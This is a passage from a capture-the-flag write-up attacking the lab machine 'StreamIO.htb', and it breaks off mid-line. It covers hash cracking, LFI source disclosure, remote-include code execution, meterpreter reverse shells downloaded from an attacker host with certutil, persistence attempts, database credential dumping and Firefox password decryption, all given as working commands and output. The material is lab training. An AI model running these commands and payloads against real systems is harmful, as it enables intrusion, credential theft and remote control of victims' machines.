| 17 | Alexendra | 1c2b3d8270321140e5153f6637d3ee53 |
| 18 | Baxter | 22ee218331afd081b0dcd8115284bae3 |
| 19 | Clara | ef8f3d30a856cf166fb8215aca93e9ff |
| 20 | Barbra | 3961548825e3e21df5646cafe11c6c76 |
| 21 | Lenord | ee0b8a0937abd60c2882eacb2f8dc49f |
| 22 | Austin | 0049ac57646627b8d7aeaccf8b6a936f |
| 23 | Garfield | 8097cedd612cc37c29db152b6e9edbd3 |
| 24 | Juliette | 6dcd87740abb64edfa36d170f0d5450d |
| 25 | Victor | bf55e15b119860a6e6b5a164377da719 |
| 26 | Lucifer | 7df45a9e3de3863807c026ba48e55fb3 |
| 27 | Bruno | 2a4e2cf22dd8fcb45adcb91be1e22ae8 |
| 28 | Diablo | ec33265e5fc8c2f1b0c137bb7b3632b5 |
| 29 | Robin | dc332fb5576e9631c9dae83f194f8e70 |
| 3 | James | c660060492d9edcaa8332d89c99c9239 |
| 30 | Stan | 384463526d288edcc95fc3701e523bc7 |
| 31 | yoshihide | b779ba15cedfd22a023c4d8bcf5f2332 |
| 4 | Theodore | 925e5408ecb67aea449373d668b7359e |
| 5 | Samantha | 083ffae904143c4796e464dac33c1f7d |
| 6 | Lauren | 08344b85b329d7efd611b7a7743e8a09 |
| 7 | William | d62be0dc82071bccc1322d64ec5b6c51 |
| 8 | Sabrina | f87d3c0d6c8fd686aacc6627f1f493a5 |
| 9 | Robert | f03b910e2bd0313a23fdd7575f34a694 |
+----+-----------+----------------------------------+
As you can see, this takes 5 hours, 32 minutes, and 13 seconds to run, so there is likely a faster way. Cracking the passwords with CrackStation finds the following (user's not shown could not be cracked with CrackStation):
Username
Hash
Password
Thane
3577c47eb1e12c8ba021611e1280753c
highschoolmusical
Barry
54c88b2dbd7b1a84012fabc1a4c73415
$hadoW
Michelle
b83439b16f844bd6ffe35c02fe21b3c0
!?Love?!123
Victoria
b22abb47a02b52d5dfa27fb0b534f693
!5psycho8!
Clara
ef8f3d30a856cf166fb8215aca93e9ff
%$clara
Lenord
ee0b8a0937abd60c2882eacb2f8dc49f
physics69i
Juliette
6dcd87740abb64edfa36d170f0d5450d
$3xybitch
Bruno
2a4e2cf22dd8fcb45adcb91be1e22ae8
$monique$1991$
yoshihide
b779ba15cedfd22a023c4d8bcf5f2332
66boysandgirls..
Lauren
08344b85b329d7efd611b7a7743e8a09
##123a8j8w5123##
Sabrina
f87d3c0d6c8fd686aacc6627f1f493a5
!!sabrina$
Out of these, the only login that works is yoshihide:66boysandgirls...

Admin Panel

We are redirected to the home page, but since we know the adddress of the admin page (https://streamio.htb/admin/index.php), let's go there:
Clicking the links at the top changes parameter in the URL. For instance, in the screenshot above, the URL is https://streamio.htb/admin/index.php?staff= for the staff list. For "Movie management" the URL is https://streamio.htb/admin/index.php?movie= and for "User management" the URL is https://streamio.htb/admin/index.php?user=.
Let's fuzz this parameter by running ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u https://streamio.htb/admin/index.php\?FUZZ\= -b "PHPSESSID=95aolvr8otpu56btshfqv66f2a" -fs 1678. We are specifying the PHPSESSID cookie because we need an authenticated session to access the admin page.
user [Status: 200, Size: 2073, Words: 146, Lines: 63, Duration: 34ms]
staff [Status: 200, Size: 12484, Words: 1784, Lines: 399, Duration: 35ms]
movie [Status: 200, Size: 320235, Words: 15986, Lines: 10791, Duration: 45ms]
debug [Status: 200, Size: 1712, Words: 90, Lines: 50, Duration: 36ms]
:: Progress: [87651/87651] :: Job [1/1] :: 1293 req/sec :: Duration: [0:02:07] :: Errors: 0 ::
Going to https://streamio.htb/admin/index.php?debug= says "this option is for developers only." We fuzz for a LFI exploit by running ffuf -ic -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt -u https://streamio.htb/admin/index.php\?debug\=FUZZ -b "PHPSESSID=95aolvr8otpu56btshfqv66f2a" -fs 1712:
C:/WINDOWS/System32/drivers/etc/hosts [Status: 200, Size: 2577, Words: 262, Lines: 71, Duration: 33ms]
C:/Windows/win.ini [Status: 200, Size: 1804, Words: 95, Lines: 57, Duration: 33ms]
C:/Windows/System32/inetsrv/config/schema/ASPNET_schema.xml [Status: 200, Size: 46280, Words: 8867, Lines: 719, Duration: 38ms]
:: Progress: [73/73] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
So, we found an LFI exploit on a URL parameter in a PHP application. We can use PHP filter URIs to get file contents by running https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php (we know of master.php from fuzzing earlier, more info from HackTricks about PHP filters). Then, just base64 decode the data:
<h1>Movie managment</h1>
<?php
if(!defined('included'))
die("Only accessable through includes");
if(isset($_POST['movie_id']))
{
$query = "delete from movies where id = ".$_POST['movie_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from movies order by movie";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>
<div>
<div class="form-control" style="height: 3rem;">
<h4 style="float:left;"><?php echo $row['movie']; ?></h4>
<div style="float:right;padding-right: 25px;">
<form method="POST" action="?movie=">
<input type="hidden" name="movie_id" value="<?php echo $row['id']; ?>">
<input type="submit" class="btn btn-sm btn-primary" value="Delete">
</form>
</div>
</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>Staff managment</h1>
<?php
if(!defined('included'))
die("Only accessable through includes");
$query = "select * from users where is_staff = 1 ";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
if(isset($_POST['staff_id']))
{
?>
<div class="alert alert-success"> Message sent to administrator</div>
<?php
}
$query = "select * from users where is_staff = 1";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>
<div>
<div class="form-control" style="height: 3rem;">
<h4 style="float:left;"><?php echo $row['username']; ?></h4>
<div style="float:right;padding-right: 25px;">
<form method="POST">
<input type="hidden" name="staff_id" value="<?php echo $row['id']; ?>">
<input type="submit" class="btn btn-sm btn-primary" value="Delete">
</form>
</div>
</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>User managment</h1>
<?php
if(!defined('included'))
die("Only accessable through includes");
if(isset($_POST['user_id']))
{
$query = "delete from users where is_staff = 0 and id = ".$_POST['user_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from users where is_staff = 0";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>
<div>
<div class="form-control" style="height: 3rem;">
<h4 style="float:left;"><?php echo $row['username']; ?></h4>
<div style="float:right;padding-right: 25px;">
<form method="POST">
<input type="hidden" name="user_id" value="<?php echo $row['id']; ?>">
<input type="submit" class="btn btn-sm btn-primary" value="Delete">
</form>
</div>
</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<form method="POST">
<input name="include" hidden>
</form>
<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" )
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");
}
?>
Let's also get the index.php file by running https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=index.php:
<?php
define('included',true);
session_start();
if(!isset($_SESSION['admin']))
{
header('HTTP/1.1 403 Forbidden');
die("<h1>FORBIDDEN</h1>");
}
$connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => '[email protected]');
$handle = sqlsrv_connect('(local)',$connection);
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Admin panel</title>
<link rel = "icon" href="/images/icon.png" type = "image/x-icon">
<!-- Basic -->
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<!-- Mobile Metas -->
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<!-- Site Metas -->
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta name="author" content="" />
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p" crossorigin="anonymous"></script>
<!-- Custom styles for this template -->
<link href="/css/style.css" rel="stylesheet" />
<!-- responsive style -->
<link href="/css/responsive.css" rel="stylesheet" />
</head>
<body>
<center class="container">
<br>
<h1>Admin panel</h1>
<br><hr><br>
<ul class="nav nav-pills nav-fill">
<li class="nav-item">
<a class="nav-link" href="?user=">User management</a>
</li>
<li class="nav-item">
<a class="nav-link" href="?staff=">Staff management</a>
</li>
<li class="nav-item">
<a class="nav-link" href="?movie=">Movie management</a>
</li>
<li class="nav-item">
<a class="nav-link" href="?message=">Leave a message for admin</a>
</li>
</ul>
<br><hr><br>
<div id="inc">
<?php
if(isset($_GET['debug']))
{
echo 'this option is for developers only';
if($_GET['debug'] === "index.php") {
die(' ---- ERROR ----');
} else {
include $_GET['debug'];
}
}
else if(isset($_GET['user']))
require 'user_inc.php';
else if(isset($_GET['staff']))
require 'staff_inc.php';
else if(isset($_GET['movie']))
require 'movie_inc.php';
else
?>
</div>
</center>
</body>
</html>
We get some credentials to the STREAMIO database: db_admin:[email protected].

Foothold

Importantly, the index.php script sets included to true (define('included',true);), which means if we set the debug GET parameter to master.php it will not die immediately since the !defined('included') check will pass.
master.php has the below code:
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" )
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");
}
It will execute the contents of the file path (file_get_contents documentation) passed in through a POST parameter called include... as long as the included variable is true, which it will be if index.php excutes before master.php. So, if we POST to https://streamio.htb/admin/index.php?debug=master.php we can specify an include with a file path to execute. By the way, making a POST request with GET parameters is okay.
file_get_contents can make a web request according to the documentation:
<?php
$homepage = file_get_contents('http://www.example.com/');
echo $homepage;
?>
So, let's start a webserver with python -m http.server 8000 and create a file called exploit with the contents echo(system("dir"));. Then, we can make the POST request with curl --insecure -b "PHPSESSID=95aolvr8otpu56btshfqv66f2a" -X POST --data "include=http://10.10.14.98:8000/exploit" https://streamio.htb/admin/index.php\?debug\=master.php | grep "<input name=\"include\" hidden>" -A 9999:
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 335k 100 335k 100 39 748k 87 --:--:-- --:--:-- --:--:-- 750k
<input name="include" hidden>
</form>
Volume in drive C has no label.
Volume Serial Number is A381-2B63
Directory of C:\inetpub\streamio.htb\admin
02/22/2022 03:49 AM <DIR> .
02/22/2022 03:49 AM <DIR> ..
02/22/2022 03:49 AM <DIR> css
02/22/2022 03:49 AM <DIR> fonts
02/22/2022 03:49 AM <DIR> images
06/03/2022 01:51 AM 2,401 index.php
02/22/2022 04:19 AM <DIR> js
06/03/2022 01:53 AM 3,055 master.php
02/23/2022 03:16 AM 878 movie_inc.php
02/23/2022 03:16 AM 936 staff_inc.php
02/23/2022 03:16 AM 879 user_inc.php
5 File(s) 8,149 bytes
6 Dir(s) 7,143,124,992 bytes free
6 Dir(s) 7,143,124,992 bytes free </div>
</center>
</body>
</html>
We get a directory listing! We can execute commands!
We will use Metasploit to get a reverse shell (other reverse shell options). Create PHP payload by running msfvenom -p php/meterpreter_reverse_tcp LHOST=tun0 LPORT=38121 -f raw > shell.php.
Then, run the following commands to start the Metasploit listener:
$ sudo msfconsole
msf6 > use exploit/multi/handler
msf6 > options
msf6 > set payload php/meterpreter_reverse_tcp
msf6 > options
msf6 > set LHOST tun0
msf6 > set LPORT 38121
msf6 > run
Next, start the webserver with python -m http.server 8000 so PHP can download our shell.php file. Finally, run the POST request with curl --insecure -b "PHPSESSID=95aolvr8otpu56btshfqv66f2a" -X POST --data "include=http://10.10.14.98:8000/shell.php" https://streamio.htb/admin/index.php\?debug\=master.php. When the POST request is sent, PHP will read the contents of http://10.10.14.98:8000/shell.php and run eval on them, giving us a meterpreter session.
You can switch back to the Metasploit shell by running background and then switch back to the meterpreter using sessions -i 1.
This shell keeps crashing, so are going to try a different method. Create a meterpreter executable with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.98 LPORT=38122 -f exe > exploit.exe. Then, in our exploit file paste in system("certutil.exe -urlcache -f http://10.10.14.98:8000/exploit.exe C:\\windows\\temp\\exploit.exe");, which is a command that will download our newly create meterpreter exploit.exe. Then, send off a POST request with curl --insecure -b "PHPSESSID=95aolvr8otpu56btshfqv66f2a" -X POST --data "include=http://10.10.14.98:8000/exploit" https://streamio.htb/admin/index.php\?debug\=master.php:
**** Online ****
CertUtil: -URLCache command completed successfully.
Now, we just need to execute that program. So, edit the exploit file again and replace its contents with system("C:\\windows\\temp\\exploit.exe"); to run the program. Make sure the webserver is still running (python -m http.server 8000). Start a Metasploit listener by running the following commands:
$ sudo msfconsole
msf6 > use exploit/multi/handler
msf6 > set payload windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST tun0
msf6 > set LPORT 38122
msf6 > run
Then, send the POST request again: curl --insecure -b "PHPSESSID=95aolvr8otpu56btshfqv66f2a" -X POST --data "include=http://10.10.14.98:8000/exploit" https://streamio.htb/admin/index.php\?debug\=master.ph.
Ger persistance by running the following:
background
msf6 > use exploit/windows/local/persistence
msf6 > set DELAY 60
msf6 > set SESSION 3
msf6 > set LHOST tun0
msf6 > set LPORT 59029
run
This will output the following:
[*] Running persistent module against DC via session ID: 3
[+] Persistent VBS script written on DC to C:\Windows\TEMP\pIEzlxOGXTTFd.vbs
[*] Installing as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\DwXCpDwC
[-] Failed to make entry in the registry for persistence
We need higher privileges so maybe we can do this later.
Upload WinPEAS with upload tools/winPEASx64.exe. Create a shell with shell in the meterpreter and then type winPEASx64.exe log to run WinPEAS. The log option redirects all output to out.txt, which is useful since it winPEAS will print 10,000+ lines of output in this scenario. You can download the report by running download out.txt form the meterpreter (exit the shell first by running exit): winpeas_report_yoshihide.txt. Read the report with less -r winpeas_report_yoshihide.txt.
We got some information about other users:
Computer Name : DC
User Name : JDgodd
User Id : 1104
Is Enabled : True
User Type : User
Comment :
Last Logon : 2/26/2022 10:17:08 AM
Logons Count : 8
Password Last Set : 2/22/2022 2:56:42 AM
=================================================================================================
Computer Name : DC
User Name : Martin
User Id : 1105
Is Enabled : True
User Type : Administrator
Comment :
Last Logon : 7/29/2022 7:58:39 PM
Logons Count : 77
Password Last Set : 5/26/2022 4:16:42 PM
=================================================================================================
Computer Name : DC
User Name : nikk37
User Id : 1106
Is Enabled : True
User Type : User
Comment :
Last Logon : 2/22/2022 2:39:51 AM
Logons Count : 3
Password Last Set : 2/22/2022 2:57:16 AM
From the "Current TCP Listening Ports" we can figure out that the SQL server port is 1433:
╔══════════╣ Current TCP Listening Ports
╚ Check for services restricted from the outside
Enumerating IPv4 connections
Protocol Local Address Local Port Remote Address Remote Port State Process ID Process Name
TCP 0.0.0.0 80 0.0.0.0 0 Listening 4 System
TCP 0.0.0.0 88 0.0.0.0 0 Listening 632 lsass
TCP 0.0.0.0 135 0.0.0.0 0 Listening 892 svchost
TCP 0.0.0.0 389 0.0.0.0 0 Listening 632 lsass
TCP 0.0.0.0 443 0.0.0.0 0 Listening 4 System
TCP 0.0.0.0 445 0.0.0.0 0 Listening 4 System
TCP 0.0.0.0 464 0.0.0.0 0 Listening 632 lsass
TCP 0.0.0.0 593 0.0.0.0 0 Listening 892 svchost
TCP 0.0.0.0 636 0.0.0.0 0 Listening 632 lsass
TCP 0.0.0.0 1433 0.0.0.0 0 Listening 3580 sqlservr
TCP 0.0.0.0 3268 0.0.0.0 0 Listening 632 lsass
TCP 0.0.0.0 3269 0.0.0.0 0 Listening 632 lsass
TCP 0.0.0.0 5985 0.0.0.0 0 Listening 4 System
TCP 0.0.0.0 9389 0.0.0.0 0 Listening 2636 Microsoft.ActiveDirectory.WebServices
TCP 0.0.0.0 47001 0.0.0.0 0 Listening 4 System
TCP 0.0.0.0 49664 0.0.0.0 0 Listening 492 wininit
TCP 0.0.0.0 49665 0.0.0.0 0 Listening 1088 svchost
TCP 0.0.0.0 49666 0.0.0.0 0 Listening 1496 svchost
TCP 0.0.0.0 49667 0.0.0.0 0 Listening 632 lsass
TCP 0.0.0.0 49673 0.0.0.0 0 Listening 632 lsass
TCP 0.0.0.0 49674 0.0.0.0 0 Listening 632 lsass
TCP 0.0.0.0 49689 0.0.0.0 0 Listening 624 services
TCP 0.0.0.0 49704 0.0.0.0 0 Listening 2844 dns
TCP 0.0.0.0 56312 0.0.0.0 0 Listening 2772 dfsrs
TCP 10.10.11.158 53 0.0.0.0 0 Listening 2844 dns
TCP 10.10.11.158 139 0.0.0.0 0 Listening 4 System
TCP 10.10.11.158 60110 10.10.14.98 38122 Established 4508 C:\windows\temp\exploit.exe
TCP 127.0.0.1 53 0.0.0.0 0 Listening 2844 dns
We got some credentials for the database from dumping the source of the website: db_admin:[email protected]. Let's try to authenticate to the database with those credentials and see if we can find anything. HackTricks has information about enumerating MS SQL if you have credentials.
In the meterpreter session we can forward the port to our attacker machine with portfwd add -l 1433 -p 1433 -r localhost.
Then, we ca try one of the methods from HackTricks for connecting to the database. I first tried sqsh -S localhost -U db_admin -P [email protected] -D streamio_backup, which worked but it seemed complicated. So, I tried sqlmap -d mssql://db_admin:[email protected]@localhost:1433/streamio_backup --dump, which couldn't deal with the @ in the password. I ended up using impacket's mssqlclient.py.
$ python3 examples/mssqlclient.py 'db_admin:[email protected]'@127.0.0.1 -port 1433
Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC): Line 1: Changed database context to 'master'.
[*] INFO(DC): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL> SELECT name FROM master.dbo.sysdatabases
name
--------------------------------------------------------------------------------------------------------------------------------
master
tempdb
model
msdb
STREAMIO
streamio_backup
SQL> use streamio_backup;
[*] ENVCHANGE(DATABASE): Old Value: streamio_backup, New Value: streamio_backup
[*] INFO(DC): Line 1: Changed database context to 'streamio_backup'.
SQL> SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE='BASE TABLE' (command from https://stackoverflow.com/a/175446)
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
-------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------------------------- ----------
streamio_backup dbo movies b'BASE TABLE'
streamio_backup dbo users b'BASE TABLE'
SQL> select * from users;
id username password
----------- -------------------------------------------------- --------------------------------------------------
1 nikk37 389d14cb8e4e9b94b137deb1caf0612a
2 yoshihide b779ba15cedfd22a023c4d8bcf5f2332
3 James c660060492d9edcaa8332d89c99c9239
4 Theodore 925e5408ecb67aea449373d668b7359e
5 Samantha 083ffae904143c4796e464dac33c1f7d
6 Lauren 08344b85b329d7efd611b7a7743e8a09
7 William d62be0dc82071bccc1322d64ec5b6c51
8 Sabrina f87d3c0d6c8fd686aacc6627f1f493a5
This gives us a new user, nikk37, and their hash, 389d14cb8e4e9b94b137deb1caf0612a. Putting this into CrackStation gives us a password of [email protected].
Trying those credentials with evil-winrm works: evil-winrm -u nikk37 -p [email protected] -i streamio.htb
We can now run cat C:\Users\nikk37\Desktop\user.txt and finally get the user.txt flag.

Lateral Movement

Upload WinPEAS with upload tools/winPEASx64.exe in evil-winrm and then run it with .\winPEASx64.exe log. Download the output with download out.txt: winpeas_report_nikk37.txt. Read the report with less -r winpeas_report_nikk37.txt.
We get some good output:
╔══════════╣ Looking for Firefox DBs
╚ https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history
Firefox credentials file exists at C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db
╚ Run SharpWeb (https://github.com/djhohnstein/SharpWeb)
Running the suggested tool, SharpWeb finding nothing:
=== Checking for Firefox (Current User) ===
Researching other tools finds unode/firefox_decrypt and lclevy/firepwd. We'll use firepwd since it doesn't need the entire Firefox profile.
Download C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db and C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\logins.json to the same directory as firepwn and then run python firepwd.py:
globalSalt: b'd215c391179edb56af928a06c627906bcbd4bd47'
SEQUENCE {
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2
SEQUENCE {
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2
SEQUENCE {
OCTETSTRING b'5d573772912b3c198b1e3ee43ccb0f03b0b23e46d51c34a2a055e00ebcd240f5'
INTEGER b'01'
INTEGER b'20'
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.2.9 hmacWithSHA256
}
}
}
SEQUENCE {
OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
OCTETSTRING b'1baafcd931194d48f8ba5775a41f'
}
}
}
OCTETSTRING b'12e56d1c8458235a4136b280bd7ef9cf'
}
clearText b'70617373776f72642d636865636b0202'
password check? True
SEQUENCE {
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2
SEQUENCE {
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2
SEQUENCE {
OCTETSTRING b'098560d3a6f59f76cb8aad8b3bc7c43d84799b55297a47c53d58b74f41e5967e'
INTEGER b'01'
INTEGER b'20'
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.2.9 hmacWithSHA256
}
}
}
SEQUENCE {
OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
OCTETSTRING b'e28a1fe8bcea476e94d3a722dd96'
}
}
}
OCTETSTRING b'51ba44cdd139e4d2b25f8d94075ce3aa4a3d516c2e37be634d5e50f6d2f47266'
}
clearText b'b3610ee6e057c4341fc76bc84cc8f7cd51abfe641a3eec9d0808080808080808'
decrypting login/password pairs
https://slack.streamio.htb:b'admin',b'[emai